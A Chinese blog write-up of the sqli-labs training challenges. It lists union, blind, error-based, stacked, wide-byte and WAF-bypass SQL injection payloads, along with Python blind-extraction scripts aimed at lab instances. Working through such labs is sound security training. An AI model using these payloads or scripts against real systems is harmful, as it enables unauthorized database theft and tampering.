Sqli-labs

字符型

Less-1

步骤

  • 列数
?id=1' order by 3--+
  • 库名
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
  • 表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+
  • 列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'--+
  • flag
?id=-1' union select 1,2,flag from ctftraining.flag--+

Less-3

进阶,在拼接语句中多添加了'()'

步骤

  • 列数
?id=1') order by 3--+
  • 库名
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+

后面的类似,不多重复

Less-4

进阶,将原来拼接的单引号改为双引号,再拼接'()'

  • 列数
?id=1") order by 3--+
  • 库名
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+

后面的类似,不多重复

数字型

Less-2

步骤

  • 列数
?id=1 order by 3--+
  • 库名
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
  • 表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+
  • 列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'--+
  • flag
?id=-1 union select 1,2,flag from ctftraining.flag--+

布尔盲注

Less-5

没有任何回显,输入单引号报错,拼接语句应有单引号

  • 库名

这里使用Python脚本进行猜解

import requests

def getHTMLText(url):
    try:
        r = requests.get(url)
        r.raise_for_status()
        r.encoding = r.apparent_encoding
        return r.text
    except:
        return '爬取失败'

def getLength(j):
        for i in range(1,20):
            url = 'http://fcecceff-1c82-4f14-9fe2-bb0a6b60c20b.node3.buuoj.cn/Less-5/?id=1\' and (select length(schema_name) from information_schema.schemata limit {},1)={}--+'
            url = url.format(j,i)
            text = getHTMLText(url)
            if('You are in...........' in text):
                return i

if __name__ == '__main__':
    for n in range(0,10):
        length = getLength(n)
        name = ''
        for l in range(1,length+1):
            for str in range(33,127):
                url = 'http://fcecceff-1c82-4f14-9fe2-bb0a6b60c20b.node3.buuoj.cn/Less-5/?id=1\' and (left((select schema_name from information_schema.schemata limit {},1),{}))=\'{}\'--+'
                payload = name + chr(str)
                url = url.format(n,l,payload)
                r = getHTMLText(url)
                if('You are in...........' in r):
                    name = name + chr(str)
                    break
        print(name)

后面只需稍作修改即可,不多重复

Less-6

**进阶,这里拼接语句将单引号改为双引号
脚本如上

Less-8

和Less-5一样
放一个比较好的脚本
库名

import requests
import string

mystring = string.printable #所有可见字符
url='http://29e92400-9710-4c4c-92cf-fdf7bba8156a.node3.buuoj.cn/Less-8/'
url+='?id=-1\' or (substring((select group_concat(schema_name) from information_schema.schemata),{0},1)=\'{1}\') -- -'
reply='You are in...........'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
        #print(url.format(count,char))
        if bytes(reply,'UTF-8') in response.content:
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
    # result有时候以很多+结尾,我还没搞清楚为什么
        print('result: '+result[0:-3])
        break
    count+=1

Less-25a

这里过滤了or和and,而且还是数字型
将之前的脚本修改一下

  • 库名
import requests
import string

mystring = string.printable #所有可见字符
url='http://75f5465e-6c80-4b35-baaf-13161e249877.node3.buuoj.cn/Less-25a/'
url+='?id=-1 oorr (substring((select group_concat(schema_name) from infoorrmation_schema.schemata),{0},1)=\'{1}\') --+'
reply='Dumb'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
        #print(url.format(count,char))
        if bytes(reply,'UTF-8') in response.content:
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
    # result有时候以很多+结尾,我还没搞清楚为什么
        print('result: '+result[0:-3])
        break
    count+=1

Less-26a

过滤的东西和之前一样,不过似乎不能用'&&',只能通过双写注入

放个脚本,输入结果随机,很奇怪

import requests
import string

mystring = string.printable #所有可见字符
url='http://012ee994-1889-46fb-90e2-3e5896763dac.node3.buuoj.cn/Less-26a'
url+='?id=1\')aandnd(substring((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),{0},1)=\'{1}\')aandnd(\'1\')=(\'1'
reply='Dumb'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
        #print(url.format(count,char))
        if bytes(reply,'UTF-8') in response.content:
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
    # result有时候以很多+结尾,我还没搞清楚为什么
        print('result: '+result[0:-3])
        break
    count+=1

Less-27a

这题和上题差不多,区别是这题将单引号改为了双引号

  • 库名
import requests
import string

mystring = string.printable #所有可见字符
url='http://136b5b61-7024-401a-9b7f-f23238779ba0.node3.buuoj.cn/Less-27a/'
url+='?id=1"and(substring((SElect(group_concat(schema_name))from(information_schema.schemata)),{0},1)=\'{1}\')and"1"="1'
reply='Dumb'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
        #print(url.format(count,char))
        if bytes(reply,'UTF-8') in response.content:
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
    # result有时候以很多+结尾,我还没搞清楚为什么
        print('result: '+result[0:-3])
        break
    count+=1

后面类似,不再重复

Less-28a

这里就是加了个括号,脚本里添加就行,不放脚本了

不过很奇怪的是,Less-28同样的payload却没有报错

时间盲注

Less-9

写脚本猜解

  • 库名
import requests
import string

url='http://29e92400-9710-4c4c-92cf-fdf7bba8156a.node3.buuoj.cn/Less-9/'
url+='?id=1\' and (select case when (substring((select group_concat(schema_name) from information_schema.schemata) from {0} for 1)=%27{1}%27) then sleep(2) else 1 end)-- -'
mystring=string.printable

count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        try:
            response=requests.get(url.format(count,char),timeout=2)
        except requests.exceptions.ReadTimeout:
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('result: '+result)
        break
    if '+++' in result:
        print('result: '+result)
        break
    count+=1

后面类似,不多重复

Less-10

**进阶,将拼接语句的单引号改为双引号

  • 库名
import requests
import string

url='http://29e92400-9710-4c4c-92cf-fdf7bba8156a.node3.buuoj.cn/Less-10/'
url+='?id=1" and (select case when (substring((select group_concat(schema_name) from information_schema.schemata) from {0} for 1)=%27{1}%27) then sleep(2) else 1 end)-- -'
mystring=string.printable

count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        try:
            response=requests.get(url.format(count,char),timeout=2)
        except requests.exceptions.ReadTimeout:
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('result: '+result)
        break
    if '+++' in result:
        print('result: '+result)
        break
    count+=1

Less-15

进阶,用POST的方式提交

放出Python脚本,这里需要每个库的查

  • 库名
import requests
#uname=' )or  (select substr((select database()),1,1))='s' # &passwd=1
url = "http://aa1fefa1-4442-4af0-9f92-185f3cda669a.node3.buuoj.cn/Less-15/"
name =""
database_length=0
#正确的话就存在 flag.jpg
database_length_payload = "uname=-1' or (select length(schema_name) from information_schema.schemata limit 0,1)={0} #"
database_name_payload = "uname=-1' or  (select substr((select schema_name from information_schema.schemata limit 0,1),{0},1))='{1}' # &passwd=1"
def get_response(payload,value,*args):
    if len(args)==0:
        payload=payload.format(value)
        data = {'uname': payload, 'passwd': '1'}
    else:
        payload = payload.format(value,args[0])
        data = {'uname': payload, 'passwd': '1'}
    print(data)
    html = requests.post(url, data=data)
    if "flag.jpg" in html.text:
        return True
    else:
        return False

for n in range(100):
    if get_response(database_length_payload,n):
        print("[+] database_length is {0}".format(n) )
        database_length=n
        break
for nn in range(1,database_length+2):
    for v in "qwertyuioplkjhgfdsazxcvbnm_":
        if get_response(database_name_payload,nn,v):
            name =name+v
            print("[+] database name is {0}".format(name))
            break
print("[*] database name is {0}".format(name))

Less-16

这里拼接语句将单引号改为双引号
脚本有上面类似,不做重复

报错注入

Less-11

这个是以POST方式传参,找到注入点,是在password

  • 库名
1' and extractvalue('1',concat('~',(select group_concat(schema_name) from information_schema.schemata)))#

长度有限制,可以通过limit调整一下

  • 表名
1' and extractvalue('1',concat('~',(select group_concat(table_name) from information_schema.tables)))#
  • 列名
1' and extractvalue('1',concat('~',(select group_concat(column_name) from information_schema.columns)))#
  • flag
1' and extractvalue('1',concat('~',(select flag from ctftraining.flag)))#

这里长度受到限制,使用limit获取全部信息

Less-12

**进阶,将拼接语句的单引号改成双引号,再添加了一个'()'

  • 库名
1") and extractvalue('1',concat('~',(select group_concat(schema_name) from information_schema.schemata))#

后面类似,不再重复

Less-13

进阶,拼接语句添加了一个'()'

这是sql的查询语句

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  • 库名
1') and extractvalue('1',concat('~',(select group_concat(schema_name) from information_schema.schemata))) and ('

后面类似,不再重复

Less-14

进阶,这里拼接语句为双引号,没有'()'

sql查询语句与上面类似

  • 库名
1" and extractvalue('1',concat('~',(select group_concat(schema_name) from information_schema.schemata))) and "

后面类似,不再重复

Less-17

进阶,这里用的是updatexml报错注入,这里的长度也会受到限制

  • 库名
1' and updatexml('1',concat('~',(select group_concat(schema_name) from information_schema.schemata)),'1')#

后面的类似,不再重复

Less-23

进阶,过滤了所有的注释

这里可以通过闭合后面的语句,不通过注释的方法

  • 库名
1' and extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))) and '1'='1

后面的类似,不再重复

Less-25

进阶,这里过滤了or和and

因为这里用到了preg_replace函数,所以通过双写的方式进行注入。要注意的是在informationpassword中存在or,所以也应该进行双写进行绕过
若非一次性过滤,就可以考虑一些变形:

  • 大小写:or=Or=OR=oR
  • 利用运算符:or=||,and=&&
  • URL编码:#=%23,~=0x7e
  • 添加注释:\*or*\
  • 库名
1' aandnd extractvalue(1,concat('~',(select group_concat(schema_name) from infoorrmation_schema.schemata)))--+

也可以通过联合注入的方式注入

Less-26

这里过滤了很多东西,过滤了'#','*','or','and','--','','/',空格

因为过滤了空格,只好用报错注入,因为空格少,并且可以用'()'代替空格,or和and可以分别用'||','&&'。实验了一下,双写也是可以绕过的,中间可以不需要空格

  • 库名
1'||(extractvalue(1,concat('~',(select(group_concat(schema_name))from(infoorrmation_schema.schemata)))||'1'='1
  • 表名
1'||(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.schemata)where(table_schema='ctftraining'))))))||'1'='1
  • 列名
1'||(extractvalue(1,concat('~',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='ctftraining')anandd(table_name='flag')))))||'1'='1

不过有些地方的双写不能绕过过滤,暂时不清楚原因

Less-27

这里过滤了'\*','--','#',空格,'union','select','UNION','SELECT','Union','Select'

过滤的比较多,用报错注入

1'and(extractvalue(1,concat('~',(SElect(group_concat(schema_name))from(information_schema.schemata)))))and'1'='1

这里的and不能用&&替代,离谱。后面的类似,就不再重复了

二次注入

Less-24

**这里先注册一个用户名为admin'#的账号,登录该账号进行修改密码的时候,sql语句会变成

UPDATE users SET passwd="New_Pass" WHERE username =' admin'#' AND password='

也就相当于执行了

UPDATE users SET passwd="New_Pass" WHERE username =' admin'#

修改的账号就变为了admin的账号

存在WAF题

Less-29

这里先讲一下,服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。

通俗一点就是前面的参数在tomcat服务器出做数据过滤和处理,类似于一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP。

所以这里可以传两个参数,一个绕过WAF,后面一个用于攻击

?id=1&id=-1' union select database()--+

后面就是 最简单的注入了

Less-30

这里的原因和上面相同,区别是这道题没有回显,且闭合符号是双引号

脚本如下:

import requests
import string

mystring = string.printable #所有可见字符
url='http://266606d4-0314-4571-9d00-77cef66d58d9.node3.buuoj.cn/Less-30/'
url+='?id=1&id=1" and substring((select group_concat(schema_name) from information_schema.schemata),{0},1)=\'{1}\'--+'
reply='Dumb'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
        #print(url.format(count,char))
        if bytes(reply,'UTF-8') in response.content:
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
    # result有时候以很多+结尾,我还没搞清楚为什么
        print('result: '+result[0:-3])
        break
    count+=1

Less-31

3道题一个套路,这道题是双引号+'()'的形式

脚本与上面类似,修改一下即可

宽字节注入

Less-32

源码中写了一个check_addslashes()函数对一些字符进行转义

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

因为这里使用的是gbk编码,所以可以在转义的字符前加上%df,就可以跳出转义限制

  • 库名
-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

后面类似就不再重复

Less-33

这道题与上道题一样,转义函数的源码不一样

所以和上道题一样的payload,不再重复

Less-34

这题使用的POST的方式提交的,因为POST不像GET方式会自动对url进行转码,所以payload和之前不一样,这里用到的是'UTF-8'转为'UTF-16'的方式,不过暂时还没有搞懂

  • 库名
-1�' union select 1,group_concat(schema_name) from information_schema.schemata#

后面就不再重复了

Less-35

这题是数字型的注入,所以不存在单引号完全可以绕过转义函数,所以可以直接进行注入且没有任何过滤

Less-36

这题的转义函数换了一个,变成了mysql_real_escape_string(),意思差不多

  • 库名
-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 

后面不再重复

Less-37

还是换汤不换药,换了个函数,意思还是一样的

-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

不再重复

堆叠注入

Less-38

这里最关键的是mysqli_multi_query()这个函数,它可以执行一个或多个对数据库的查询,用分号隔开

这里后面的语句好像不可以爆数据,那就执行插入操作

-1' union select 1,2,group_concat(username) from users;insert into users values(18,'zeng','zeng')--+

屏幕截图

Less-39

这道题是数字型的,payload和上面一样

不再重复了

Less-40

这道题写的布尔盲注,不过貌似都可以,那就按它的来。它的闭合语句是单引号+'()'

Python脚本如下,插入'zeng1'

import requests
import string

mystring = string.printable #所有可见字符
url='http://95f5769f-1fc4-4e1c-ab68-9c6c53601935.node3.buuoj.cn/Less-40/'
url+='?id=1\') and substring((select group_concat(username) from users),{0},1)=\'{1}\';insert into users values(19,\'zeng1\',\'zeng1\')--+'
reply='Dumb'
print(url)
count = 1
result = ''
while(True):
    temp_result=result
    for char in mystring:
        response=requests.get(url.format(count,char))
        #print(url.format(count,char))
        if bytes(reply,'UTF-8') in response.content:
            result+=char
            print(result+'......')
            break
    if result==temp_result:
        print('Complete!')
        break
    if '+++' in result:
    # result有时候以很多+结尾,我还没搞清楚为什么
        print('result: '+result[0:-3])
        break
    count+=1

屏幕截图

Less-41

这道题是数字型的注入,脚本一样,不再重复了

Less-42

这道题在username处不报错,在password处报错,所以可以在password处注入

这里我们删除一个字段

1';delete from users where username='zeng'--+

屏幕截图

Less-43

这里拼接语句加了括号,其他一样,就不再重复了

Order by注入

Less-46

这题的拼接语句为:

$sql = "SELECT * FROM users ORDER BY $id";

所以联合注入一些和堆叠注入用不了,只能使用报错注入

1 and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))--+

后面不再重复

Less-47

这道题拼接语句多了单引号,其它一样

payload和上面差不多不再重复了

Less-48

这道题没有回显使用布尔盲注,这里的布尔盲注比较特殊,要用到rand()函数,因为rand()在值为true或flase时不同,不过脚本不太好写,用时间盲注比较方便

rand函数的布尔盲注

rand(left((select group_concat(schema_name) from information_schema.schemata),1)='i')--+

脚本还没有成功,先放着

Less-49

这道题是字符型的注入,和上题一样

Less-50

这道题是数字型+堆叠注入,插入数据试一下

1;insert into users values(9,'zeng','zeng')--+

屏幕截图

Less-51

**这道题是字符型的注入,payload和上面类似,就不再重复了

Less-52

这道题可以插入数据,也可以布尔盲注,和上面一样,不知道在考什么

布尔盲注
image
插入数据
image

Less-53

这道题是字符型的,其它和上面一样

不再重复了

限制次数

Less-54

这道题是字符型注入,只不过被限制了注入次数

  • 库名
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
  • 表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
  • 字段名
-1' union select 1,2,group_concat(column_name) from information_schema.columns
where table_schema='challenges' and table_nam='354H7B3C3G'--+
  • 密码
-1' union select 1,2,secret_EPGP from challenges.354H7B3C3G--+

Less-55

这题是数字型的,并且闭合语句加了'()',其它和上面一样,不再重复了

Less-56

这题是字符型的,和上面一样,不再重复

Less-57

这题闭合语句是双引号,不再重复

Less-58

这题很特殊,它把所有用户名都放在了一个数组中


if($row)
{
	echo '<font color= "#00FFFF">';	
	$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
	$pass = array_reverse($unames);
	echo 'Your Login name : '. $unames[$row['id']];
	echo "<br>";
	echo 'Your Password : ' .$pass[$row['id']];
	echo "</font>";
}

所以一般的联合注入不行,这题用报错注入,不再重复

Less-59

这题是数字型的,其它没区别,不再重复

Less-60

这题闭合符号位双引号,其它没区别,不再重复

Less-61

这题闭合符号位单引号再嵌套两个括号,其它一样不再重复

Less-62

这题是盲注且闭合语句为单引号+'()',不存在过滤,但是因为存在注入次数限制,最好用二分法查询最快,脚本就不放了

Less-63

这题闭合语句是单引号,其它一样

Less-64

这题数字型且嵌套了两个'()',其它一样

Less-65

这题只嵌套了一个'()',其它一样

posted @ 2020-07-11 13:11  zesiar0  阅读(108)  评论(0编辑  收藏  举报